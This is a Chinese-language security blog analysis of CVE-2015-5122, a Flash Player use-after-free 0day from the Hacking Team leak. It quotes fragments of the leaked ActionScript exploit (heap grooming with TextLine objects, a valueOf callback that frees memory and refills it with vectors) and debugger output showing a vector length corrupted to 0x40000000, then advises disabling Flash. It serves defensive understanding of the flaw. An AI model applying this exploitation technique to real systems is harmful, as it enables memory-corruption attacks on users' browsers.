0344-Hacking Team攻击代码分析Part 4- Flash 0day漏洞 CVE-2015-5122

# Hacking Team攻击代码分析Part 4: Flash 0day漏洞 CVE-2015-5122

0x00 前言
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前几天我们分析了Hacking Team泄露数据中的3个exploit,包括一个flash 0day,一个flash nday和一个windows字体提权0day。昨天Adobe在发布了最新的flash版本(18.0.0.203),修补了其中的flash 0day(CVE-2015-5119)。然而今天twitter上面又有研究者爆猛料,称Hacking Team泄露数据中还有一个未修补的flash 0day,在最新的flash版本中仍然可以触发。Adobe随后也发布了对应的安全公告APSA15-04,漏洞的CVE编号为:CVE-2015-5122。影响Windows、MacOSX和Linux平台上的IE、Chrome浏览器等主流浏览器。

![enter image description here](http://drops.javaweb.org/uploads/images/4eb38ef9f1a40a74972db5581b0dc98abda4087d.jpg)

我们经过分析,确认这确实又是一个新的flash 0day,漏洞成因是DisplayObject在设置opaqueBackground属性时,没有正确处理可能发生的回调(又是valueOf,是在下输了),而产生的Use After Free漏洞。本文将分析这个漏洞的成因和利用方式。

0x01 漏洞原理分析
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出问题的函数是DisplayObject对象的opaqueBackground属性设置函数:

我们来看一下HackingTeam泄露的exploit代码,关键部分如下:

“`
1 for(i=_arLen1; i < _arLen2; i++) 2 _ar[i] = _tb.createTextLine(); // fill 1016-byte holes (0x38c is a size of internal TextLine object) 3 for(i=_arLen1; i < _arLen2; i++) 4 _ar[i].opaqueBackground = 1; // alloc 1016 bytes ``` 在这个过程中会每个TextLine Object内部会分配0x390大小的对象,对象分配的代码在: ``` 1 .text:1025DC71 push 1 2 .text:1025DC73 push eax 3 .text:1025DC74 push 390h 4 .text:1025DC79 call operator_new2 ``` 调试过程中分配的0x390内部对象地址: ``` Allocate 0x390 object:04cbc810 Allocate 0x390 object:0513c810 Allocate 0x390 object:0513cc08 Allocate 0x390 object:05d94020 Allocate 0x390 object:05d94418 Allocate 0x390 object:05d94810 Allocate 0x390 object:05d94c08 Allocate 0x390 object:05d95020 Allocate 0x390 object:05d95418 Allocate 0x390 object:05d95810 Allocate 0x390 object:05d95c08 Allocate 0x390 object:05d96020 Allocate 0x390 object:05d96418 Allocate 0x390 object:05d96810 Allocate 0x390 object:05d96c08 Allocate 0x390 object:05d97020 Allocate 0x390 object:05d97418 ``` 2 设置opaqueBackground,触发valueOf函数调用: ``` 1 MyClass.prototype.valueOf = valueOf2; 2 3 // here we go, call the vulnerable setter 4 _cnt = _arLen2-6; 5 _ar[_cnt].opaqueBackground = _mc; ``` 和之前两个漏洞一样,exploit定义了自己的类,设置valueOf函数,然后在opaqueBackground的设置函数中,我们可以看到有一个将传入的参数转换为integer的过程,这个调用触发了MyClass的valueOf函数: ``` .text:1025DD4C loc_1025DD4C: CODE XREF: set_opaqueBackground+2Fj .text:1025DD4C push ebx .text:1025DD4D push [esp+10h+param] .text:1025DD51 call ?integer@AvmCore@avmplus@@SAHH@Z ; avmplus::AvmCore::integer(int) ``` 3 在valueOf函数中,释放TextLine Object,并使用vector占位 ``` 01 static function valueOf2() 02 { 03 try 04 { 05 if (++_cnt < _arLen2) { 06 // recursive call for next TextLine 07 _ar[_cnt].opaqueBackground = _mc; 08 }else{ 09 Log("MyClass.valueOf2()"); 10 11 // free internal objects 12 for(var i:int=1; i <= 5; i++) 13 _tb.recreateTextLine(_ar[_arLen2-i]); 14 15 // reuse freed memory 16 for(i=_arLen2; i < _arLen; i++) 17 _ar[i].length = _vLen; 18 } 19 } 20 catch (e:Error) 21 { 22 Log("valueOf2 " + e.toString()); 23 } 24 return _vLen+8; 25 } ``` 我们可以看到valueOf函数通过调用recreateTextLine释放了原来的TextLine对象(因此0x390大小的内部对象也将被释放)。然后使用0x190大小的vector对象试图占用已经释放的0x390大小对象的内存。这里之所以选用0x190大小的vector,是因为之后代码会对已经释放的0x390内部对象进行一个写操作,这个写操作的偏移是0x320,正好是0x190的两倍,这样写的时候可以直接写到vector的长度字段。这里用了一个技巧:用不同大小的对象去占位时,必须以页为单位释放原对象的内存,才有可能成功(也就是说这里必须连续释放多个0x390大小的内部对象,造成至少一个page(0x1000)内存被释放,然后才能用0x190的vector去占它)。 4 从valueOf返回,已经释放的0x390内部对象被写入 ``` eax=00000000 ebx=0000006a ecx=05d92708 edx=00000006 esi=05d97020 edi=0515dd78 eip=631bdd7e esp=0300bfec ebp=05d92708 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246 Flash32_18_0_0_203!DllUnregisterServer+0x7489c: 631bdd7e 889e20030000 mov byte ptr [esi+320h],bl ds:0023:05d97340=62 0:006> dd esi
05d97020 00000062
04cb3000 00000037 00000000

“`

Esi指向已经被释放的0x390大小对象(0x5d97020),可以参考前面分配时记录的对象地址,很容易看出这是其中一个0x390对象。写入的是esi+0x320处,可以看到已经被vector占用,并且指向某个vector的长度字段(0x62)。 写操作完成后,vector长度被篡改为0x6a:

“`
0:006> p
0:006> dd esi+320 L4
05d97340 0000006a 04cb3000 00000039 00000000

“`

之后exploit再利用这个稍微变长了一点点的vector,修改紧邻的下一个vector的长度为0x40000000:

“`
0:006> dd 5D974D0L4
05d974d0 40000000 04fc3000 0000003a 00000000

“`

0x02 漏洞防范
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由于该漏洞利用非常稳定,而Adobe暂时没有发布该漏洞的补丁,我们建议补丁发布之前,可以暂时先禁用flash插件。

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THE END
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